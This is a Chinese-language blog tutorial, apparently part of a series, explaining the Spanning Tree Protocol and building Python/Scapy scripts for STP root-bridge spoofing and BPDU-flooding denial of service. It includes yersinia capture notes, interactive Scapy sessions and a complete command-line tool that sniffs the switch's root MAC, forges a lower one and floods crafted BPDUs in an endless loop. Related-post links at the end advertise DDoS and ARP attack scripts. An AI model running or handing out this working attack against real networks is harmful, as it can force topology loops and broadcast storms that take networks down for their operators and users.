Python 协议攻击脚本(六): STP攻击
文章目录
- STP
- 数据包抓包
- STP欺骗
- STP Dos
- 编写脚本
- STP欺骗
- STP Dos
- 完整代码
STP
生成树协议(英语:Spanning Tree Protocol,STP),是一种工作在OSI网络模型中的第二层(数据链路层)的通信协议,基本应用是防止交换机冗余链路产生的环路.用于确保以太网中无环路的逻辑拓扑结构.从而避免了广播风暴,大量占用交换机的资源.
STP的工作过程如下:
- 首先进行根网桥的选举,不断发送BPDU,由
桥ID
最小的为根桥 - 计算每个节点到根桥的距离,并由这些路径得到各冗余链路的代价,选择最小的成为通信路径(相应的端口状态变为forwarding),其它的就成为备份路径(相应的端口状态变为blocking)。
桥ID:
- 交换机设置的
优先级(bridge priority)
- 交换机自身的
mac
,越小优先级越高
优先级
优先,优先级
相同则比较mac
stp欺骗
发送网桥ID很低的精心设计的BPDU,就可以欺骗交换机,使它以为这是根网桥,这会导致STP重新收敛(reconverge),从而引起回路,导致网络崩溃。
stp dos攻击
利用假冒的BPDU数据来消耗交换机的资源,从而达到破坏网络环境的目的.
数据包抓包
需要配置有生成树的网络环境
利用yersinia
工具进行STP攻击,进行抓包分析
YERSINIA工具的使用(VLAN跳跃,STP攻击等)
STP欺骗
yersinia -G
交换机发出来的数据包
Scapy中Dot3
对应的就是IEEE 802.3协议
Dot3
- src:
00:03:0f:91:06:73
交换机mac - dst:
01-80-C2-00-00-00
链路层中01-80-C2-00-00-00
多播地址
链路层发现协议 | wiki
LLC
- dsap:
0x42
- ssap:
0x42
STP
- bridgeid:
0
- bridgemac:
00:03:0f:91:06:73
交换机mac
攻击发出的包
发现对mac
进行伪造,mac
小于了交换机mac
,成功了根桥的欺骗
STP
- bridgeid:
0
- bridgemac:
00:03:0f:90:06:73
伪装的MAC
STP Dos
yersinia -G
抓包
随机生成一些字段
编写脚本
STP欺骗
1.抓取STP数据包,并获取当前根桥mac
sniff()
:嗅探数据
sniff
的帮助信息里面有这样一段
>>> help(sniff)
[...]
stop_filter: Python function applied to each packet to determine ifwe have to stop the capture after this packet.--Ex: stop_filter = lambda x: x.haslayer(TCP)
[...]
根据例子,可以得出这样的函数lambda x: x.haslayer(STP)
利用这个来抓取STP
的数据包
>>> stp = STP()
>>> tcp = TCP()
>>> stp.haslayer(STP)
True
>>> tcp.haslayer(STP)
0
>>> sniff(stop_filter=lambda x: x.haslayer(STP),count=1)
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>
提取根桥mac
>>> packet = sniff(stop_filter=lambda x: x.haslayer(STP),count=1)
>>> packet
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>
>>> packet[-1]
<Dot3 dst=01:80:c2:00:00:00 src=00:03:0f:91:06:73 len=38 |<LLC dsap=0x42 ssap=0x42 ctrl=3 |<STP proto=0 version=0 bpdutype=0 bpduflags=0 rootid=0 rootmac=00:03:0f:91:06:73 pathcost=0 bridgeid=0 bridgemac=00:03:0f:91:06:73 portid=32769 age=0.0 maxage=20.0 hellotime=2.0 fwddelay=15.0 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>
>>> stp = packet[-1].getlayer('STP')
>>> stp.fields['rootmac']
'00:03:0f:91:06:73'
2.发送stp欺骗数据包
查看数据包字段
>>> ls(STP)
proto : ShortField = (0)
version : ByteField = (0)
bpdutype : ByteField = (0)
bpduflags : ByteField = (0)
rootid : ShortField = (0)
rootmac : MACField = ('00:00:00:00:00:00')
pathcost : IntField = (0)
bridgeid : ShortField = (0)
bridgemac : MACField = ('00:00:00:00:00:00')
portid : ShortField = (0)
age : BCDFloatField = (1)
maxage : BCDFloatField = (20)
hellotime : BCDFloatField = (2)
fwddelay : BCDFloatField = (15)
构造数据包
>>> mac_new = '00:03:0f:90:06:73' #比交换机mac 00:03:0f:91:06:73小
>>> packet = Dot3(src=mac_new,dst='01:80:C2:00:00:00')/LLC()/STP(rootid=0,rootmac=mac_new,bridgeid=0,bridgemac=mac_new)
>>> packet.show()
###[ 802.3 ]###dst= 01:80:C2:00:00:00src= 00:03:0f:90:06:73len= None
###[ LLC ]###dsap= 0x42ssap= 0x42ctrl= 3
###[ Spanning Tree Protocol ]###proto= 0version= 0bpdutype= 0bpduflags= 0rootid= 0rootmac= 00:03:0f:90:06:73pathcost= 0bridgeid= 0bridgemac= 00:03:0f:90:06:73portid= 0age= 1maxage= 20hellotime= 2fwddelay= 15
3.发送包
>>> sendp(packet,loop=1)
........................................................................................................
[...]
发送前
发送后
STP Dos
1.随机优先级
优先级:
- 4096的倍数
- 0~61440
>>> id_list = []
>>> for i in range(9):id_list.append(i * 4096)
>>> id_list
[0, 4096, 8192, 12288, 16384, 20480, 24576, 28672, 32768]
>>> import random
>>> random.choice(id_list)
0
>>> random.choice(id_list)
4096
2.随机MAC
>>> print(RandMAC())
77:41:76:0c:6b:8f
>>> print(RandMAC())
8e:f4:f8:90:66:4d
完整代码
#!/usr/bin/env python3
# -*- coding:utf-8 -*-from scapy.all import (
Ether,
STP,
LLC,
sendp,
sniff,
RandMAC)
from random import choice
from argparse import ArgumentParser
import sysmac_dst = '01:80:C2:00:00:00'def bpdu_dos(iface):id_list = []for i in range(9):id_list.append(i * 4096)randmac = RandMAC()ether = Ether(dst=mac_dst,src=randmac)/LLC()stp = STP(rootid=choice(id_list),rootmac=randmac,bridgeid=choice(id_list),bridgemac=randmac)pkt = ether/stpsendp(pkt,iface=iface,loop=1)def bpdu_spoof(iface):mac_new = get_rootmac(iface)while 1:ether = Ether(dst=mac_dst,src=mac_new)/LLC()stp = STP(rootid=0,rootmac=mac_new,bridgeid=0,bridgemac=mac_new)pkt = ether/stpsendp(pkt,iface=iface)def get_rootmac(iface):stp = sniff(stop_filter=lambda x: x.haslayer(STP),iface=iface,timeout=3,count=1)if not stp:print('[-]No stp packet')sys.exit(1)mac = stp.res[0].fields['src']mac_list = mac.split(':')mac_list[3] = hex(int(mac_list[3],16) - 1)[2:]mac_new = ':'.join(mac_list)return mac_newdef main():usage = '%s [-i interface] [-m mode]'%(sys.argv[0])parser = ArgumentParser(usage=usage)parser.add_argument('-i','--iface',default='eth0',help='The network interface of use')parser.add_argument('-m','--mode',required=True,help='[spoof]:The BPDU Root Roles attack [dos]:The BPDU Dos attack')args = parser.parse_args()iface = args.ifaceattack = args.modetry:if attack == 'spoof':bpdu_spoof(iface)elif attack == 'dos':bpdu_dos(iface)else:parser.print_help()except KeyboardInterrupt:print('\n[+] Stopped sending')except ValueError: # 捕获输入参数错误parser.print_help()if __name__ == '__main__':main()
Python 协议攻击脚本(六): STP攻击相关推荐
- Python协议攻击脚本(一): Scapy的使用
Python协议攻击脚本(一): Scapy基本的使用 文章目录 Python协议攻击脚本(一): Scapy基本的使用 简介 安装 Linux Mac Windows 基本使用 交互式 模块使用 简 ...
- python arp脚本_Python scapy 实现一个简易 arp 攻击脚本
scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送.嗅探.解析和伪造网络数据包,常常被用到网络攻击和测试中. scapy的安装在Linux非常便利,但在Windows下比较复杂 ...
- python网站攻击脚本_Python scapy 实现一个简易 arp 攻击脚本
scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送.嗅探.解析和伪造网络数据包,常常被用到网络攻击和测试中. scapy的安装在Linux非常便利,但在Windows下比较复杂 ...
- python ddos攻击脚本_python版本DDOS攻击脚本
今天为了休息下,换换脑子,于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了. 附上源码pyDdos.py:#!/usr/bin/env pytho ...
- python模拟ddos攻击_python版DDOS攻击脚本
本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下 于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了. 附上源码pyDd ...
- python编写ARP拒绝服务攻击脚本
python编写ARP拒绝服务攻击脚本 原理:每台主机上都会有一张ARP表,记录主机的IP地址和 Mac地址,Mac地址有动态和 静态的: 网关:区分你是在哪个局域网 局域网中的通信是通过交换机实现的 ...
- Kali Linux 无线渗透测试入门指南 第六章 攻击客户端
第六章 攻击客户端 作者:Vivek Ramachandran, Cameron Buchanan 译者:飞龙 协议:CC BY-NC-SA 4.0 简介 安全强度取决于最弱的部分. – 信息安全领域 ...
- 安全平台kb-security:Session劫持攻击【六】
安全平台介绍 身处互联网浪潮中的弄潮儿们,你是否了解那潮水中的暗流(安全漏洞)? 你是否已经掌握了安全知识,但苦于无的放矢,而渐渐淡忘? 你是否对黑客技术痴迷,却苦于无处着手? 今天,给大家推荐一个工 ...
- Linux CC攻击脚本
Linux CC攻击脚本 CC(ChallengeCollapsar)主要是用来攻击页面的.大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,访问的人越 ...
最新文章
- svn 分支主干相互合并
- python游戏-Python游戏
- ubuntu: no module named _sqlite
- java 工作 日期转换代码,判断是否是当天,然后日期转换
- android jni示例_Android服务示例
- php的range函数
- 数据结构--链表--LRU缓存
- springmvc整合mybatis之准备阶段与文件配置
- 英语笔记:词组句子:0806
- Linux 下几款程序内存泄漏检查工具
- 路径中“./”、“../”、“/”代表的含义
- 曲线拟合的线性最小二乘法
- C语言 判断并输出完数
- 摩天轮社区_摩天轮:基于真实地理位置游戏
- 对办公文档加密 到了外部计算机就无法打开,使用文件夹加密超级大师加密了文件,更换电脑后加密文件打不开了怎么办?...
- DSP学习笔记之系统时钟、定时器、GPIO篇
- 北大韦神等十人获奖,均分1000万元,达摩院2021青橙奖出炉
- Data-driven methods for solving algebra word problems论文阅读
- SAP ABAP——SAP简介(二)【SAP主要产品时间线】
- JobIntentService